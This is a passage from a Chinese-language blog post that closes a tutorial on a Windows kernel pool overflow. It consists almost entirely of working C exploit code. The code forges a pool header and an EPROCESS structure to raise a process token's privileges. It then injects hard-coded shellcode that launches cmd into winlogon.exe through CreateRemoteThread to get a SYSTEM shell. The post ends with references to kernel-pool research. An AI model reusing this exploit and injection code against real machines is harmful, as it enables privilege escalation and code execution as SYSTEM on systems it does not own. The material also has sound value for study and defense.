	// PoolTag
	*(PULONG)&FakeHeader[4] = 'Hack';
	
	// 开始伪造EPROCESS所在的内存块
	PCHAR FakeChunk = FakeHeader + 0x20;
	// 未知的引用计数
	*(PULONG64)FakeChunk = 0x70;			
	// 伪造EPROCESS
	PCHAR FakeEp = FakeChunk + 0x30;
	PCHAR FakeQuota = FakeEp + 0x1c0;
	//Eprocess->Pcb.Header.Type
	FakeEp[0] = 0x3;													
	//QuotaValue1_Addr
	*(PULONG64)FakeQuota = (ULONG64)(Token + 0x48);		
	// ProcessBiiled
	*(PULONG64)&FakeHeader[8] = (ULONG64)FakeEp;
	
	printf("[+] Found Token = %p\n",Token);
	printf("[+] Fake EPROCESS = %p\n", FakeEp);

	if (!IoDriver(hDev, IRP_WRITE_DATA, data, sizeof(Ring3_Data)+ data->Size)) {
		printf("[Error_%d] Heap_Spray(): IoDriver failed.\n", __LINE__);
		return;
	}

	CloseHandle(hDev);

	if (CheckPrivilege(hToken)) {
		printf("[+] Token privilege set !\n");
		GetShell();
	}
}

DWORD getProcessId(TCHAR* name)
{
	DWORD aProcesses[1024], cbNeeded, cProcesses;
	unsigned int i;

	if (!EnumProcesses(aProcesses, sizeof(aProcesses), &cbNeeded))
	{
		printf("[-]EnumProcess failed...\n");
		exit(0);
	}


	// Calculate how many process identifiers were returned.
	cProcesses = cbNeeded / sizeof(DWORD);

	// Print the name and process identifier for each process.
	for (i = 0; i < cProcesses; i++)
	{
		if (aProcesses[i] != 0)
		{
			DWORD processID = aProcesses[i];
			TCHAR szProcessName[MAX_PATH] = TEXT("<unknown>");

			// Get a handle to the process.

			HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION |
				PROCESS_VM_READ,
				FALSE, processID);

			// Get the process name.

			if (NULL != hProcess)
			{
				HMODULE hMod;
				DWORD cbNeeded;

				if (EnumProcessModules(hProcess, &hMod, sizeof(hMod),
					&cbNeeded))
				{
					GetModuleBaseName(hProcess, hMod, szProcessName,
						sizeof(szProcessName) / sizeof(TCHAR));
				}
			}

			// Print the process name and identifier.
			if (!lstrcmpW(szProcessName, name))
			{
				CloseHandle(hProcess);
				return (processID);
			}

			// Release the handle to the process.

			CloseHandle(hProcess);
		}
	}

	return 0;

}

bool Init() {
	HMODULE hNt = GetModuleHandle(L"ntdll");
	if (hNt == NULL) {
		printf("[Error_%d] Init(): LoadLibraryA failed.\n", __LINE__);
		return FALSE;
	}
	ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(hNt, "NtQuerySystemInformation");
	if (ZwQuerySystemInformation == 0) {
		printf("[Error_%d] Init(): GetProcAddress failed.\n", __LINE__);
		return FALSE;
	}
	NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNt, "NtAllocateVirtualMemory");
	if (NtAllocateVirtualMemory == 0) {
		printf("[Error_%d] Init(): GetProcAddress failed.\n", __LINE__);
		return FALSE;
	}

	return TRUE;
}

void GetShell()
{
	HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
	PVOID  pLibRemote;
	HMODULE hKernel32 = GetModuleHandle(L"Kernel32");
	DWORD processID;
	unsigned char shellcode[] =
		"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
		"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
		"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
		"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
		"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
		"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
		"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
		"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
		"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
		"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
		"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
		"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
		"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
		"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
		"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
		"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
		"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
		"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
		"\x00";


	if ((processID = getProcessId(L"winlogon.exe")) == 0)
	{
		printf("[Error_%d] Couldn't retrieve process ID...\n",__LINE__);
		return;
	}
	printf("[+] Retrieved process id: %d\n", processID);
	hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);

	if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
	{
		printf("[Error_%d] Couldn't open system process...\n",__LINE__);
		return;
	}
	printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);


	pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);

	if (!pLibRemote)
	{
		printf("[Error_%d] Virtual alloc failed !\n",__LINE__);
		return;
	}

	printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);

	if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
	{
		printf("[Error_%d] WriteProcessMemory failed !\n",__LINE__);
		return;
	}

	HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);

	printf("[+] Writing in system process succeded\n");

	if (hThread == NULL) {
		printf("[Error_%d] CreateRemoteThread failed !\n",__LINE__);
		return;
	}
	else
		printf("[+] Remote thread created !\n");
	CloseHandle(hSystemProcess);
}

int main(int argc, char* argv[]) {
	if (Init()) {
		Exploit();
	}
	system("pause");
	return 0;
}
■ 演示

在这里插入图片描述

0x5 参考

[1] https://www.anquanke.com/post/id/86557

[2] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf – Tarjei Mandt paper

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值